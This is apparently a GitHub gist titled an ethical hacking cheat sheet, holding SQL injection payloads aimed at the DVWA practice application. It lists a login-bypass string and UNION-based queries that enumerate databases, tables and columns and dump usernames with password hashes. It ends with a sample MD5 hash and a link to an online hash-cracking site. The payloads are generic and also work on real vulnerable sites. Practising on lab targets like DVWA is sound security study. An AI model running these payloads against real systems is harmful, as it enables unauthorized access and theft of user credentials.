Created
September 12, 2020 07:01
-
-
Save softon/ce8a013b3f19a2a791667d1599fe7332 to your computer and use it in GitHub Desktop.
Ethical Hacking CheatSheet
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- SQL Injection Login | |
' or 1=1 or ' | |
-- Get Databases: | |
1' union select 1,table_schema from information_schema.tables union select 1,'1 | |
-- Get Tables | |
1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa' union select 1,'1 | |
-- Get Columns | |
1' union select 1,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' union select 1,'1 | |
-- Get Username & Password | |
1' union select 1,concat(user,":",password) from dvwa.users union select 1,'1 | |
admin:5f4dcc3b5aa765d61d8327deb882cf99 | |
https://crackstation.net |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment